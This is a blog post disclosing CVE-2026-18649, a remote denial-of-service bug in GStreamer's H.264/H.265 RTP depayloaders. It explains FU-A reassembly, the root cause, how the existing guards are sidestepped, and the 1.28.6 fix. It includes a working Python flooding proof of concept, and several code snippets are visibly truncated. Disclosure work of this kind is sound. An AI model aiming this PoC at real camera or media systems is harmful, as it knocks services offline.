CVE-2026-18649: Unbounded Memory Growth in GStreamer's RTP Depayloaders

2026-08-05 9 min read

GSTREAMER RTP DOS MEMORY-SAFETY CVE

This post explains CVE-2026-18649, a vulnerability I reported in GStreamer's H.264 and H.265 RTP depayloaders (`rtph264depay` and `rtph265depay`). A remote host with no credentials can make either element allocate memory without bound until the process dies. I wrote a separate post about how I found it. This one is just about the bug itself: what it is, why it happens, and how it was fixed.

> **INFO**
>
> The fix landed in GStreamer 1.28.6, in commit 65712529. The CVE record is at cve.org and the NVD. The proof of concept is available on GitHub.

Overview

Field	Value
Class	CWE-770, Allocation of Resources Without Limits
Impact	Remote unauthenticated denial of service
CVSS 3.1	7.5 (High)

Field	Value
Vector	AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Affected	`rtph264depay` and `rtph265depay` before 1.28.6

The attacker needs one thing: the ability to send RTP packets to a pipeline that uses one of these depayloaders. No login, no malformed packets, no protocol violation beyond a single deliberately incomplete fragment. Availability is the only thing at stake here, but for a camera viewer or a media gateway, availability is the whole job.

Background: RTP and FU-A fragmentation

RTP is the transport that carries most real time audio and video: RTSP cameras, SIP calls, WebRTC. A video frame is often larger than a single network packet, so H.264 defines a way to split one NAL unit (a coded slice of video) across several RTP packets. That mechanism is called a Fragmentation Unit, type A, or FU-A.

A FU-A fragment carries two extra bytes after the RTP header. The first is the FU indicator, the second is the FU header:

```text
FU header byte
+-+-+-+-+-+-+-+-+
|S|E|R|  Type   |
+-+-+-+-+-+-+-+-+
```

The `S` bit marks the start fragment. The `E` bit marks the end fragment. A well behaved sender sets `S` on the first packet, sends some middle fragments with both bits clear, and sets `E` on the last one. The receiver holds the pieces until it sees `E`, then stitches them back into one NAL unit and pushes it downstream.

That “holds the pieces until it sees `E`” is the whole problem.

0xSemizzz | Yehia

Root cause

The reassembly happens in `gst_rtp_h264_depay_process()`, in the FU-A branch of the packet type switch. In the vulnerable versions the relevant lines are these (I audited GStreamer 1.28.2, so the numbers are from that tree):

The end bit comes straight out of the attacker’s packet:

```c
E = (payload[1] & 0x40) == 0x40;   /* ~line 1454 */
```

The start fragment and every continuation fragment get pushed into a `GstAdapter`, which is GStreamer’s byte queue for accumulating buffers:

```c
gst_adapter_push (rtph264depay->adapter, outbuf);   /* start fragment, ~line 1503 */
...
gst_adapter_push (rtph264depay->adapter, outbuf);   /* continuation, ~line 1549 */
```

And the adapter is only drained when the end bit is set:

```c
if (E)                                              /* ~line 1556 */
  gst_rtp_h264_finish_fragmentation_unit (rtph264depay);
```

There is no size check anywhere in that path. Look at `gst_adapter_push()` itself, in `libs/gst/base/gstadapter.c` around line 378:

```c
```

```
0xSemizzz | Yehia
void
gst_adapter_push (GstAdapter * adapter, GstBuffer * buf)
{
  gsize size;

  g_return_if_fail (GST_IS_ADAPTER (adapter));
  g_return_if_fail (GST_IS_BUFFER (buf));

  size = gst_buffer_get_size (buf);
  adapter->size += size;
  ...
```

It adds to `adapter->size` and appends the buffer to the queue. It has no concept of a maximum. It is not supposed to. The adapter is a generic building block, and bounding it is the caller's responsibility. The depayloader simply never took that responsibility.

So the attack is: send one FU-A start fragment, then send continuation fragments forever, and never set the `E` bit. Each fragment allocates a `GstBuffer` and hands it to the adapter. Because the terminating fragment never arrives, none of those buffers are ever freed. Memory climbs for the lifetime of the stream.

The identical pattern lived in `rtph265depay`, so both were fixed together.

Why the ordinary cleanup paths do not save you

GStreamer's FU-A code does have several exits that clear the adapter. The interesting part is that an attacker can sidestep all of them by simply sending valid looking packets:

- **A new start fragment.** If a fresh `S=1` packet arrives while another FU is still open, the code assumes the sender is buggy and flushes what it has. So the attacker sends `S=1` exactly once and never again.
- **A missing start bit.** If a continuation arrives with `current_fu_type == 0`, it is dropped. So the attacker sends one real start first, which sets `current_fu_type`, and every continuation after that is accepted.

- **A jump in sequence numbers.** The code compares each continuation's sequence number against the previous one and discards the buffer on any gap. So the attacker increments the sequence number by exactly one each time.
- **A different NAL type.** If a packet of a different type shows up mid fragment, the open FU is flushed. So the attacker only ever sends FU-A (type 28).

Every guard here is aimed at recovering from packet loss or a broken sender. None of them is aimed at an attacker who is happy to send a perfectly ordered, perfectly typed, endless stream. That is the gap.

Proof of concept

The exploit is about twenty lines of Python and a single UDP socket. First, start a pipeline. A virtual memory limit makes the crash happen in seconds instead of minutes:

BASH COPY

```
ulimit -v 262144   # 256 MB, crash in about 12 seconds; omit for unbounded growth
gst-launch-1.0 udpsrc port=5036 buffer-size=4194304 \
  caps="application/x-rtp,media=video,payload=96,clock-rate=90000,encoding-name=H264
  ! rtph264depay ! fakesink &
```

Then flood it:

PYTHON COPY

```
#!/usr/bin/env python3
"""Reliable PoC. One fragment at a time. Monitors VmData (heap), not RSS."""
import socket, struct, time, sys

PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 5036
PID  = int(sys.argv[2]) if len(sys.argv) > 2 else None

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

p = b'\x00' * 1400
```

```
# Full 12-byte RTP header: V=2 P=0 X=0 CC=0 M=0 PT=96 seq ts=0 ssrc=0x12345678
# 0xSemizzz | Yehia          B    B    H   I         I
rest  = struct.pack('!BBHII', 0x80, 96, 0, 0, 0x12345678) + bytes([28]) + bytes([1])
start = struct.pack('!BBHII', 0x80, 96, 1, 0, 0x12345678) + bytes([28]) + bytes([0x8

def vmdata(pid):
    try:
        with open(f'/proc/{pid}/status') as f:
            for line in f:
                if line.startswith('VmData:'):
                    return int(line.split()[1])
    except Exception:
        return None

# One start fragment: S=1, E=0
sock.sendto(start, ('127.0.0.1', PORT))
time.sleep(0.2)

seq = 2
total = 0
while True:
    # Patch the sequence number into bytes 2 and 3 of the prebuilt header
    pkt = bytearray(rest)
    pkt[2:4] = struct.pack('!H', seq & 0xFFFF)
    sock.sendto(bytes(pkt), ('127.0.0.1', PORT))
    seq = (seq + 1) & 0xFFFF
    total += 1
    time.sleep(0.0005)
```

A few details in that packet matter more than they look:

- The RTP header is the full 12 bytes (`!BBHII`): version byte, payload type, 16-bit sequence number, 32-bit timestamp, 32-bit SSRC. Get the length wrong and the depayloader parses your FU bytes as part of the header, which sends the whole thing off the rails.
- The byte `28` is the FU indicator. Its low five bits are the NAL type, and 28 is FU-A.
- The FU header byte is `0x01` for continuations, which is `S=0, E=0`. The start packet uses `0x81`, which is `S=1, E=0`. The `E` bit is never set.

- The sequence number is patched in with a `bytearray` and incremented by one every packet, so the continuity check upstream always passes.
- The `time.sleep(0.0005)` matters. On loopback, blasting packets with no pacing overruns the kernel UDP receive buffer, and the drops mean nothing reaches GStreamer. Half a millisecond per packet, roughly 2.8 MB/s, is slow enough to be received and still fast enough to crash the target quickly.

What I measured

Watch `VmData` in `/proc/<pid>/status`, not RSS. `VmData` is the size of the process data segment and it grows monotonically with the adapter. RSS is resident physical pages, and it fluctuates with page reclamation and allocator rounding, so it hides the leak.

Against a target capped at 256 MB of virtual memory, from a baseline of about 26 MB:

Fragments	Data sent	VmData growth
5,000	~7 MB	+8 MB
10,000	~13 MB	+17 MB
15,000	~20 MB	+26 MB
20,000	~27 MB	+35 MB
25,000	~33 MB	+44 MB
30,000	~40 MB	+53 MB
~32,000	~45 MB	process aborted

0xSemizzz | Yehia

Linear, proportional, and repeatable on every run. Without the `ulimit`, it just keeps going until the box runs out of RAM and the OOM killer steps in.

The fix

Sebastian Dröge added a cap in commit 65712529. Both depayloaders got a new property, `max-fragmentation-unit-size`, and the FU-A path now checks the accumulated size before it keeps going:

C COPY

```c
if (E) {
  gst_rtp_h264_finish_fragmentation_unit (rtph264depay);
} else {
  guint limit = rtph264depay->max_fragmentation_unit_size ?
      rtph264depay->max_fragmentation_unit_size :
      DEFAULT_MAX_FRAGMENTATION_UNIT_SIZE;
  if (gst_adapter_available (rtph264depay->adapter) > limit) {
    GST_WARNING_OBJECT (rtph264depay,
        "Too big (> %u bytes) fragmentation unit, dropping.", limit);
    gst_rtp_base_depayload_flush (depayload, FALSE);
    gst_adapter_clear (rtph264depay->adapter);
    return NULL;
  }
}
```

PATCH

The default limit (`DEFAULT_MAX_FRAGMENTATION_UNIT_SIZE`) is 32 MB. Setting the property to `0` does not mean unlimited; it means “auto”, which resolves to that same 32 MB default. So a pipeline built on 1.28.6 or later is bounded out of the box, and an application that legitimately needs larger units can raise the ceiling itself.

Once a fragmented unit crosses the limit, the depayloader logs a warning, throws away what it buffered, and resets. A stuck reassembly costs 32 MB at most instead of all of memory.

Who this touches

Anything that runs `rtph264depay` or `rtph265depay` on network data was exposed before 1.28.6:

- RTSP camera clients (`rtspsrc ! rtph264depay`)
- Media servers built on `gst-rtsp-server`
- WebRTC endpoints using `webrtcbin`
- Transcoders and NVRs fed by `udpsrc ! rtph264depay`

In deployments where each session gets its own depayloader, the cost scales with the number of sessions an attacker is willing to open. If you maintain something in that list, update to 1.28.6 or later. If you cannot update yet, set `max-fragmentation-unit-size` to a sane value on your depayloader element and you get the same protection.

← Back to Blog